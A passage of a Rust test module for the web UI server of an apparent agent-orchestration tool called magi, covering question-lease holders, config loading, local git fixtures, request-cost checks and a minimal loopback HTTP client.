10876fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10877    let mut hits = ids
10878        .into_iter()
10879        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10880    match (hits.next(), hits.next()) {
10881        (Some(one), None) => Ok(one),
10882        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10883        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10884            "`{prefix}` matches more than one {what}, including {a} and {b}"
10885        ))),
10886    }
10887}
10888
10889#[cfg(test)]
10890mod tests {
10891
10892    #[test]
10893    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10894        let dir = tempfile::tempdir().unwrap();
10895        let store = ask::Questions::at(dir.path().join("questions"));
10896        let mut q = Question::new(
10897            "task".to_owned(),
10898            "conduct".to_owned(),
10899            "conduct".to_owned(),
10900            "choose".to_owned(),
10901            String::new(),
10902            vec!["keep".to_owned()],
10903        );
10904        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10905        q.say("why?").unwrap();
10906        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10907        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10908        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10909        store.put(&mut q).unwrap();
10910        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10911        assert_eq!(store.count_needs_owner(), 1);
10912        store.beat(&q.id, ask::WaiterKind::Deputy);
10913        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10914        assert_eq!(store.count_needs_owner(), 0);
10915        let mut stale = store.read_lease(&q.id).unwrap();
10916        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10917        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10918        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10919        assert!(view.deputy_exhausted);
10920        assert!(view.waiting_on_agent);
10921        assert_eq!(view.question.choices, ["keep"]);
10922        store.drop_lease(&q.id);
10923        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10924        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10925    }
10926
10927    #[test]
10928    fn holder_reads_the_lease_not_the_record() {
10929        let mut q = Question::new(
10930            "run".to_owned(),
10931            "implement".to_owned(),
10932            "impl-A".to_owned(),
10933            "which?".to_owned(),
10934            String::new(),
10935            Vec::new(),
10936        );
10937        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10938        q.cwd = Some("/tmp".to_owned());
10939        assert_eq!(holder_of(&q, None), Some("nobody"));
10940        let beat = |kind, ago: i64| ask::Lease {
10941            kind,
10942            pid: 1,
10943            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10944                .unwrap(),
10945        };
10946        let fresh = beat(ask::WaiterKind::Asker, 1);
10947        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10948        let daemon = beat(ask::WaiterKind::Daemon, 1);
10949        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10950        let stale = beat(ask::WaiterKind::Asker, 3600);
10951        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10952
10953        // A conductor question says "deputy" only while one is attached and
10954        // alive, and "nobody" - never silence - when nothing ever listened.
10955        let mut c = Question::new(
10956            "task".to_owned(),
10957            crate::conduct::NODE.to_owned(),
10958            "conduct".to_owned(),
10959            "which?".to_owned(),
10960            String::new(),
10961            Vec::new(),
10962        );
10963        assert_eq!(holder_of(&c, None), Some("nobody"));
10964        c.cwd = Some("/tmp".to_owned());
10965        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10966        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10967        let deputy = beat(ask::WaiterKind::Deputy, 1);
10968        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10969        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10970
10971        // A release-watch question: nobody until a deputy is attached.
10972        let mut r = Question::new(
10973            String::new(),
10974            crate::bump::NOTICE_NODE.to_owned(),
10975            "release-watch".to_owned(),
10976            "stuck?".to_owned(),
10977            String::new(),
10978            vec!["hold".to_owned()],
10979        );
10980        assert_eq!(holder_of(&r, None), Some("nobody"));
10981        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10982        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10983        // A choice-less bump notice is nobody's question at all.
10984        r.deputy = None;
10985        r.seat = "bump".to_owned();
10986        assert_eq!(holder_of(&r, None), None);
10987
10988        // A merge approval is the same: nobody until a deputy is attached
10989        // and alive, never a silent "no holder".
10990        let mut m = Question::new(
10991            "run".to_owned(),
10992            crate::land::APPROVAL_NODE.to_owned(),
10993            "land".to_owned(),
10994            "merge?".to_owned(),
10995            String::new(),
10996            Vec::new(),
10997        );
10998        assert_eq!(holder_of(&m, None), Some("nobody"));
10999        assert_eq!(
11000            holder_of(&m, Some(&fresh)),
11001            Some("asker"),
11002            "a live explicit wait is a listener even before a deputy is attached"
11003        );
11004        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11005        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11006        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11007        assert_eq!(holder_of(&m, None), Some("nobody"));
11008    }
11009
11010    fn stub_config() -> Config {
11011        // An explicit roster, so the result never depends on which agent CLIs
11012        // this machine has installed.
11013        Config {
11014            agents: vec![crate::config::AgentSpec {
11015                id: "stub".to_owned(),
11016                kind: AgentKind::Command,
11017                model: None,
11018                command: vec!["true".to_owned()],
11019                extra_args: Vec::new(),
11020                env: Default::default(),
11021                prompt_delivery: None,
11022                max_turn_secs: None,
11023            }],
11024            ..Config::default()
11025        }
11026    }
11027
11028    fn plain_question(seat: &str) -> Question {
11029        Question::new(
11030            String::new(),
11031            "n".to_owned(),
11032            seat.to_owned(),
11033            "s".to_owned(),
11034            String::new(),
11035            Vec::new(),
11036        )
11037    }
11038
11039    #[test]
11040    fn deputies_enabled_follows_the_config() {
11041        let on = stub_config();
11042        assert!(crate::deputy::can_start(Some(&on), ""));
11043        assert!(crate::deputy::can_start(Some(&on), "stub"));
11044        let mut off = on.clone();
11045        off.daemon.max_deputies = 0;
11046        assert!(!crate::deputy::can_start(Some(&off), ""));
11047        let mut empty = on;
11048        empty.agents.clear();
11049        assert!(!crate::deputy::can_start(Some(&empty), ""));
11050        assert!(!crate::deputy::can_start(None, ""));
11051    }
11052
11053    #[test]
11054    fn question_views_load_the_config_once() {
11055        let dir = TempDir::new().unwrap();
11056        let store = ask::Questions::at(dir.path().to_path_buf());
11057        let mut with_deputy = plain_question("b");
11058        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11059        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11060
11061        let calls = std::cell::Cell::new(0usize);
11062        let views = question_views(qs.clone(), &store, || {
11063            calls.set(calls.get() + 1);
11064            Some(stub_config())
11065        });
11066        assert_eq!(calls.get(), 1);
11067        assert_eq!(views.len(), 3);
11068        for (v, q) in views.iter().zip(&qs) {
11069            assert_eq!(
11070                v.deputies_enabled,
11071                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11072            );
11073        }
11074
11075        let views = question_views(qs, &store, || None);
11076        assert!(views.iter().all(|v| !v.deputies_enabled));
11077
11078        let calls = std::cell::Cell::new(0usize);
11079        let views = question_views(Vec::new(), &store, || {
11080            calls.set(calls.get() + 1);
11081            None
11082        });
11083        assert!(views.is_empty());
11084        assert_eq!(calls.get(), 0);
11085    }
11086
11087    use pretty_assertions::assert_eq;
11088    use serde_json::Value;
11089    use tempfile::TempDir;
11090    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11091
11092    use super::*;
11093    use crate::config::Config;
11094    use crate::queue::Source;
11095
11096    /// How many 10ms steps a settle loop takes before it calls a stall a
11097    /// stall - thirty seconds.
11098    ///
11099    /// These loops wait on real `sh` subprocesses, and the machine that runs
11100    /// the gate runs several suites at once, so a two-second budget was not
11101    /// waiting for the reply, it was racing the scheduler: two of these
11102    /// tests failed under that load with the turn simply not landed yet.
11103    /// This is a hang guard, not a latency assertion - every loop breaks the
11104    /// moment its condition holds, so a generous cap costs an idle machine
11105    /// nothing and still fails a genuine hang instead of hanging the suite.
11106    const SETTLE_STEPS: usize = 3_000;
11107
11108    /// A home with a queue and a runs directory, and a router serving it on
11109    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11110    /// dependency, not ours - so the tests drive a real socket, which has the
11111    /// side benefit of asserting the status line and content types the phone
11112    /// actually receives.
11113    struct Fixture {
11114        home: TempDir,
11115        addr: SocketAddr,
11116    }
11117
11118    impl Fixture {
11119        async fn start() -> Self {
11120            Self::with_loop(launch_idle).await
11121        }
11122
11123        /// A fixture whose loop is `launch`.
11124        async fn with_loop(launch: Launch) -> Self {
11125            let home = TempDir::new().expect("temp home");
11126            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11127            Self { home, addr }
11128        }
11129
11130        /// A fixture whose `ui.repo` is a real directory rather than the
11131        /// usual placeholder - for the routes that read config off it
11132        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11133        async fn with_repo(repo: PathBuf) -> Self {
11134            let home = TempDir::new().expect("temp home");
11135            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11136            Self { home, addr }
11137        }
11138
11139        /// As [`Fixture::with_repo`], with the machine-config file the
11140        /// settings screen reads and writes.
11141        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11142            let home = TempDir::new().expect("temp home");
11143            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11144            Self { home, addr }
11145        }
11146
11147        async fn serve(
11148            home: &FsPath,
11149            repo: PathBuf,
11150            launch: Launch,
11151            machine: Option<PathBuf>,
11152        ) -> SocketAddr {
11153            let queue = Queue::at(home.join("queue"));
11154            let runs = home.join("runs");
11155            std::fs::create_dir_all(&runs).expect("runs dir");
11156            let worktrees = home.join("wt").join("magi");
11157            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11158            let ui = Ui::new(
11159                queue,
11160                Questions::at(home.join("questions")),
11161                Talks::at(home.join("talks")),
11162                runs,
11163                home.to_path_buf(),
11164                repo,
11165            )
11166            .with_worktrees_root(worktrees)
11167            .with_machine_config(machine)
11168            .with_launch(launch);
11169            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11170                .await
11171                .expect("bind loopback");
11172            let addr = listener.local_addr().expect("local addr");
11173            tokio::spawn(async move {
11174                let router = ui
11175                    .router()
11176                    .layer(axum::middleware::from_fn(request_cost::observe));
11177                let _ = axum::serve(listener, router).await;
11178            });
11179            addr
11180        }
11181
11182        fn queue(&self) -> Queue {
11183            Queue::at(self.home.path().join("queue"))
11184        }
11185
11186        fn questions(&self) -> Questions {
11187            Questions::at(self.home.path().join("questions"))
11188        }
11189
11190        fn talks(&self) -> Talks {
11191            Talks::at(self.home.path().join("talks"))
11192        }
11193
11194        fn runs(&self) -> PathBuf {
11195            self.home.path().join("runs")
11196        }
11197
11198        async fn get(&self, path: &str) -> Res {
11199            request(self.addr, "GET", path, None).await
11200        }
11201
11202        /// The status and headers without the body, which is how the front end
11203        /// preflights a panel: a sandboxed frame is opaque to the parent
11204        /// document, so the only way to tell "no panel" from "a panel that
11205        /// rendered blank" is to ask before mounting.
11206        async fn head(&self, path: &str) -> Res {
11207            request(self.addr, "HEAD", path, None).await
11208        }
11209
11210        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11211            request(self.addr, "POST", path, body).await
11212        }
11213
11214        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11215            request_with(self.addr, "GET", path, None, extra).await
11216        }
11217
11218        async fn delete(&self, path: &str) -> Res {
11219            request(self.addr, "DELETE", path, None).await
11220        }
11221
11222        async fn put(&self, path: &str, body: &str) -> Res {
11223            request(self.addr, "PUT", path, Some(body)).await
11224        }
11225
11226        /// `POST` a raw body with its own headers - see [`request_bytes`].
11227        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11228            request_bytes(self.addr, path, headers, body).await
11229        }
11230    }
11231
11232    /// Real tracking refs exercise the successful discovery path (including
11233    /// extraction), rather than counting cheap failures on a placeholder repo.
11234    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11235        let tmp = TempDir::new().unwrap();
11236        let mut repos = Vec::new();
11237        for name in ["one", "two"] {
11238            let repo = tmp.path().join(name);
11239            let origin = tmp.path().join(format!("{name}.git"));
11240            std::fs::create_dir_all(&repo).unwrap();
11241            crate::git::git(&repo, &["init", "-b", "main"])
11242                .await
11243                .unwrap();
11244            std::fs::write(
11245                repo.join("magi.toml"),
11246                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11247            )
11248            .unwrap();
11249            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11250            crate::git::git(
11251                &repo,
11252                &[
11253                    "-c",
11254                    "user.name=fixture",
11255                    "-c",
11256                    "user.email=fixture@example.invalid",
11257                    "commit",
11258                    "-m",
11259                    "fixture",
11260                ],
11261            )
11262            .await
11263            .unwrap();
11264            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11265                .await
11266                .unwrap();
11267            crate::git::git(
11268                &repo,
11269                &["remote", "add", "origin", origin.to_str().unwrap()],
11270            )
11271            .await
11272            .unwrap();
11273            crate::git::git(&repo, &["push", "origin", "main"])
11274                .await
11275                .unwrap();
11276            crate::git::git(
11277                &repo,
11278                &[
11279                    "symbolic-ref",
11280                    "refs/remotes/origin/HEAD",
11281                    "refs/remotes/origin/main",
11282                ],
11283            )
11284            .await
11285            .unwrap();
11286            let (cfg, _) = Config::discover(&repo, None).unwrap();
11287            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11288            repos.push(repo);
11289        }
11290        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11291        (tmp, repos)
11292    }
11293
11294    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11295        let (tmp, repos) = performance_repositories().await;
11296        let machine = tmp.path().join("machine.toml");
11297        std::fs::write(&machine, "").unwrap();
11298        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11299        (tmp, repos, fx)
11300    }
11301
11302    fn seed_performance(
11303        fx: &Fixture,
11304        repos: &[PathBuf; 2],
11305        questions: usize,
11306        runs: usize,
11307        items: usize,
11308    ) {
11309        // Saving states directly never starts a run or changes MAGI_HOME.
11310        for i in fx.questions().list().len()..questions {
11311            let mut question = Question::new(
11312                "20261001-000000-0000".into(),
11313                "implement".into(),
11314                "impl-A".into(),
11315                format!("question {i}"),
11316                "context".into(),
11317                vec!["yes".into(), "no".into()],
11318            );
11319            question.id = format!("20261003-000000-{i:04x}");
11320            fx.questions().put(&mut question).unwrap();
11321        }
11322        for i in run_ids(&fx.runs()).len()..runs {
11323            write_run_repo(
11324                &fx.runs(),
11325                &format!("20261001-000000-{i:04x}"),
11326                RunStatus::Ready,
11327                repos[i % 2].to_str().unwrap(),
11328            );
11329        }
11330        for i in fx.talks().list().len()..items {
11331            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11332            let mut talk = fx.talks().get(&id).unwrap();
11333            talk.repo = repos[i % 2].clone();
11334            fx.talks().put(&mut talk).unwrap();
11335            let mut task = crate::queue::Task::new(
11336                format!("task {i}"),
11337                "instruction".into(),
11338                repos[i % 2].clone(),
11339                crate::queue::Source::Agent {
11340                    run: id,
11341                    node: crate::queue::CHAT_NODE.into(),
11342                },
11343            );
11344            task.id = format!("20261004-000000-{i:04x}");
11345            fx.queue().put(&mut task).unwrap();
11346            // Notices has a production retention cap; seed up to that cap.
11347            if i < crate::notices::CAP {
11348                Notices::at(fx.home.path().join("notifications"))
11349                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11350                    .unwrap();
11351            }
11352        }
11353        assert_eq!(fx.questions().list().len(), questions);
11354        assert_eq!(run_ids(&fx.runs()).len(), runs);
11355        assert_eq!(fx.talks().list().len(), items);
11356        assert_eq!(fx.queue().list().len(), items);
11357        assert_eq!(
11358            Notices::at(fx.home.path().join("notifications"))
11359                .list()
11360                .len(),
11361            items.min(crate::notices::CAP)
11362        );
11363    }
11364
11365    #[tokio::test]
11366    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11367        let home = TempDir::new().unwrap();
11368        let root = home.path().canonicalize().unwrap();
11369        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11370        let fx = Fixture { home, addr };
11371        let repo = root.as_path().join("archive-repo");
11372        std::fs::create_dir(&repo).unwrap();
11373        crate::git::git(&repo, &["init", "-b", "main"])
11374            .await
11375            .unwrap();
11376        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11377            .await
11378            .unwrap();
11379        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11380            .await
11381            .unwrap();
11382        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11383            .await
11384            .unwrap();
11385        std::fs::write(repo.join("source"), "base").unwrap();
11386        crate::git::git(&repo, &["add", "."]).await.unwrap();
11387        crate::git::git(&repo, &["commit", "-m", "base"])
11388            .await
11389            .unwrap();
11390        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11391        std::fs::write(repo.join("source"), "archived review").unwrap();
11392        crate::git::git(&repo, &["commit", "-am", "review"])
11393            .await
11394            .unwrap();
11395        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11396        let mut config = Config::default();
11397        config.graph.worktree_root = Some(root.as_path().join("copies"));
11398        let mut state = RunState::new(
11399            repo.clone(),
11400            "main".into(),
11401            base.clone(),
11402            "archive".into(),
11403            config,
11404        );
11405        state.id = "20260101-000000-ef05".into();
11406        state.status = RunStatus::Ready;
11407        state.save_under(root.as_path()).unwrap();
11408        let evidence =
11409            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11410                .await
11411                .unwrap();
11412        let base_evidence =
11413            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11414                .await
11415                .unwrap();
11416        let source = state.worktree_root().join("review-1");
11417        let mut contents = std::collections::BTreeMap::new();
11418        contents.insert(
11419            repo.join("logs/HEAD"),
11420            format!("{base} {head} fixture\n").into_bytes(),
11421        );
11422        let record = serde_json::json!({
11423            "version":1, "run":state.id, "source":source, "head":head,
11424            "evidence":evidence, "admin":{}, "admin_contents":contents,
11425            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11426        });
11427        std::fs::write(
11428            fx.runs()
11429                .join(&state.id)
11430                .join("artifacts/eviction-review-1.json"),
11431            serde_json::to_vec(&record).unwrap(),
11432        )
11433        .unwrap();
11434        std::fs::remove_dir_all(&repo).unwrap();
11435        let url = format!("/api/runs/{}/seat-evidence", state.id);
11436        let list = fx.get(&url).await;
11437        assert_eq!(list.status, 200, "{}", list.body);
11438        assert_eq!(list.json()[&head], "review-1");
11439        let patch = fx.get(&format!("{url}/{head}")).await;
11440        assert_eq!(patch.status, 200, "{}", patch.body);
11441        assert!(patch.body.contains("+archived review"));
11442        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11443        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11444        assert_eq!(fx.get(&url).await.status, 404);
11445        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11446    }
11447
11448    fn request_counts(res: &Res) -> (usize, usize) {
11449        assert_eq!(res.status, 200, "{}", res.body);
11450        (
11451            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11452            res.header("x-test-git").unwrap().parse().unwrap(),
11453        )
11454    }
11455
11456    #[tokio::test]
11457    async fn list_request_cost_is_independent_of_record_count() {
11458        let (_tmp, repos, fx) = performance_fixture().await;
11459        let mut previous = None;
11460        for n in [4, 60] {
11461            seed_performance(&fx, &repos, n, n, n);
11462            let mut costs = Vec::new();
11463            for (path, discoveries) in [
11464                ("/api/questions", 1),
11465                ("/api/talks", 0),
11466                ("/api/health", 0),
11467                ("/api/stats", 1),
11468            ] {
11469                // Equal cold extraction caches at both scales; this also
11470                // bounds first-request cost instead of only warmed requests.
11471                for repo in &repos {
11472                    let cache = repo.join(".git/magi/config");
11473                    if cache.exists() {
11474                        std::fs::remove_dir_all(cache).unwrap();
11475                    }
11476                }
11477                let cost = request_counts(&fx.get(path).await);
11478                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11479                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11480                assert!(
11481                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11482                    "{path}: {cost:?}"
11483                );
11484                costs.push(cost);
11485            }
11486            if let Some(previous) = previous {
11487                assert_eq!(costs, previous);
11488            }
11489            previous = Some(costs);
11490        }
11491        // runs reads shared row inputs and probes process liveness; queue
11492        // builds one blocker inventory; notifications reads its own store.
11493        // None discovers configuration or spawns git per item.
11494    }
11495
11496    /// The same handler path without transport, so the deterministic cause
11497    /// can also be checked in environments that prohibit binding sockets.
11498    #[tokio::test]
11499    async fn list_handler_cost_without_transport() {
11500        let (_tmp, repos) = performance_repositories().await;
11501        let fx = Fixture {
11502            home: TempDir::new().unwrap(),
11503            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11504        };
11505        let ui = Arc::new(
11506            Ui::new(
11507                fx.queue(),
11508                fx.questions(),
11509                fx.talks(),
11510                fx.runs(),
11511                fx.home.path().to_path_buf(),
11512                repos[0].clone(),
11513            )
11514            .with_worktrees_root(fx.home.path().join("wt")),
11515        );
11516        let mut previous = None;
11517        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11518            seed_performance(&fx, &repos, n, runs, items);
11519            let mut costs = Vec::new();
11520            for endpoint in ["questions", "talks", "health", "stats"] {
11521                for repo in &repos {
11522                    let cache = repo.join(".git/magi/config");
11523                    if cache.exists() {
11524                        std::fs::remove_dir_all(cache).unwrap();
11525                    }
11526                }
11527                let (_, cost) = request_cost::measure(async {
11528                    match endpoint {
11529                        "questions" => {
11530                            let _ = questions_list(State(ui.clone())).await.unwrap();
11531                        }
11532                        "talks" => {
11533                            let _ = talks_list(
11534                                State(ui.clone()),
11535                                Query(ListQuery {
11536                                    limit: None,
11537                                    ids: None,
11538                                }),
11539                                header::HeaderMap::new(),
11540                            )
11541                            .await
11542                            .unwrap();
11543                        }
11544                        "health" => {
11545                            let _ = health(State(ui.clone())).await.unwrap();
11546                        }
11547                        _ => {
11548                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11549                                .await
11550                                .unwrap();
11551                        }
11552                    }
11553                })
11554                .await;
11555                eprintln!("{endpoint} handler N={n}: {cost:?}");
11556                assert_eq!(
11557                    cost.0,
11558                    if matches!(endpoint, "talks" | "health") {
11559                        0
11560                    } else {
11561                        1
11562                    },
11563                    "{endpoint}"
11564                );
11565                assert!(
11566                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11567                    "{endpoint}: {cost:?}"
11568                );
11569                costs.push(cost);
11570            }
11571            if let Some(previous) = previous {
11572                assert_eq!(costs, previous);
11573            }
11574            previous = Some(costs);
11575        }
11576    }
11577
11578    #[tokio::test]
11579    async fn list_request_cost_scopes_do_not_mix() {
11580        let (_tmp, repos, fx) = performance_fixture().await;
11581        seed_performance(&fx, &repos, 10, 0, 10);
11582        let (questions, talks, notices) = tokio::join!(
11583            fx.get("/api/questions"),
11584            fx.get("/api/talks"),
11585            fx.get("/api/notifications")
11586        );
11587        assert_eq!(request_counts(&questions).0, 1);
11588        // Cached summaries perform no config discovery or git work, even
11589        // alongside the questions request that still discovers config.
11590        assert_eq!(request_counts(&talks), (0, 0));
11591        assert_eq!(request_counts(&notices), (0, 0));
11592    }
11593
11594    #[tokio::test]
11595    async fn list_endpoints_large_home_responses() {
11596        check_large_home_endpoints(false).await;
11597    }
11598
11599    #[tokio::test]
11600    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11601    async fn list_endpoints_large_home_ceiling() {
11602        check_large_home_endpoints(true).await;
11603    }
11604
11605    async fn check_large_home_endpoints(timed: bool) {
11606        let (_tmp, repos, fx) = performance_fixture().await;
11607        seed_performance(&fx, &repos, 200, 300, 400);
11608        let mut failures = Vec::new();
11609        // app.js boot/change loads plus the initial dashboard, settings and
11610        // repo picker. SSE is a persistent stream, not a bounded GET.
11611        for path in [
11612            "/",
11613            "/app.js",
11614            "/app.css",
11615            "/api/questions",
11616            "/api/runs?limit=300",
11617            "/api/queue",
11618            "/api/talks",
11619            "/api/notifications",
11620            "/api/health",
11621            "/api/stats",
11622            "/api/loop",
11623            "/api/settings",
11624            "/api/repos",
11625        ] {
11626            let start = std::time::Instant::now();
11627            let result = if timed {
11628                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11629            } else {
11630                Ok(fx.get(path).await)
11631            };
11632            let elapsed = start.elapsed();
11633            eprintln!("{path}: {elapsed:?}");
11634            match result {
11635                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11636                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11637                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11638            }
11639        }
11640        assert!(failures.is_empty(), "{}", failures.join("\n"));
11641    }
11642
11643    struct Res {
11644        status: u16,
11645        headers: String,
11646        /// The header block with its original casing, for the assertions that
11647        /// compare a header *value* rather than looking for a name. Lowercasing
11648        /// a CSP would hide a directive spelled with a capital letter, and the
11649        /// whole point of that test is that the string is exactly right.
11650        head: String,
11651        body: String,
11652        /// The body before any UTF-8 handling, for the routes that serve
11653        /// something other than text. A panel asset is a PNG as often as not,
11654        /// and `from_utf8_lossy` would silently replace half of it.
11655        bytes: Vec<u8>,
11656    }
11657
11658    impl Res {
11659        fn json(&self) -> Value {
11660            serde_json::from_str(&self.body)
11661                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11662        }
11663
11664        /// One header's value verbatim, or `None` when it was not sent.
11665        fn header(&self, name: &str) -> Option<&str> {
11666            self.head.lines().find_map(|line| {
11667                let (key, value) = line.split_once(':')?;
11668                key.trim()
11669                    .eq_ignore_ascii_case(name)
11670                    .then(|| value.trim_start().trim_end_matches('\r'))
11671            })
11672        }
11673    }
11674
11675    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11676    /// be read to end-of-stream without parsing framing.
11677    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11678        request_with(addr, method, path, body, &[]).await
11679    }
11680
11681    /// As [`request`], with extra request headers - conditional GETs need
11682    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11683    /// worse than one that sets none.
11684    async fn request_with(
11685        addr: SocketAddr,
11686        method: &str,
11687        path: &str,
11688        body: Option<&str>,
11689        extra: &[(&str, &str)],
11690    ) -> Res {
11691        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11692        for (name, value) in extra {
11693            head.push_str(&format!("{name}: {value}\r\n"));
11694        }
11695        if let Some(body) = body {
11696            head.push_str("Content-Type: application/json\r\n");
11697            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11698        }
11699        head.push_str("\r\n");
11700        if let Some(body) = body {
11701            head.push_str(body);
11702        }
11703        let mut socket = tokio::net::TcpStream::connect(addr)
11704            .await
11705            .expect("connect to the test server");
11706        socket
11707            .write_all(head.as_bytes())
11708            .await
11709            .expect("write request");
11710        let mut raw = Vec::new();
11711        socket.read_to_end(&mut raw).await.expect("read response");
11712        // Split on the raw bytes rather than on a lossy string, so a binary
11713        // body survives to be compared byte for byte.
11714        let split = raw
11715            .windows(4)
11716            .position(|w| w == b"\r\n\r\n")
11717            .expect("a header block");
11718        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11719        let bytes = raw[split + 4..].to_vec();
11720        let status = head
11721            .lines()
11722            .next()
11723            .and_then(|line| line.split_whitespace().nth(1))
11724            .and_then(|code| code.parse().ok())
11725            .expect("a status line");
11726        Res {
11727            status,
11728            headers: head.to_lowercase(),
11729            head,
11730            body: String::from_utf8_lossy(&bytes).into_owned(),
11731            bytes,
11732        }
11733    }
11734
11735    /// A `POST` carrying a raw binary body and its own headers, for the
11736    /// attachment upload route - `request_with` only ever sends
11737    /// `Content-Type: application/json`, which is wrong for an image and
11738    /// would corrupt anything not valid UTF-8 by round-tripping it through
11739    /// `&str` first.
11740    async fn request_bytes(
11741        addr: SocketAddr,
11742        path: &str,
11743        headers: &[(&str, &str)],
11744        body: &[u8],
11745    ) -> Res {
11746        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11747        for (name, value) in headers {
11748            head.push_str(&format!("{name}: {value}\r\n"));
11749        }
11750        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11751        let mut socket = tokio::net::TcpStream::connect(addr)
11752            .await
11753            .expect("connect to the test server");
11754        socket
11755            .write_all(head.as_bytes())
11756            .await
11757            .expect("write request head");
11758        socket.write_all(body).await.expect("write request body");
11759        let mut raw = Vec::new();
11760        socket.read_to_end(&mut raw).await.expect("read response");
11761        let split = raw
11762            .windows(4)
11763            .position(|w| w == b"\r\n\r\n")
11764            .expect("a header block");
11765        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11766        let bytes = raw[split + 4..].to_vec();
11767        let status = head
11768            .lines()
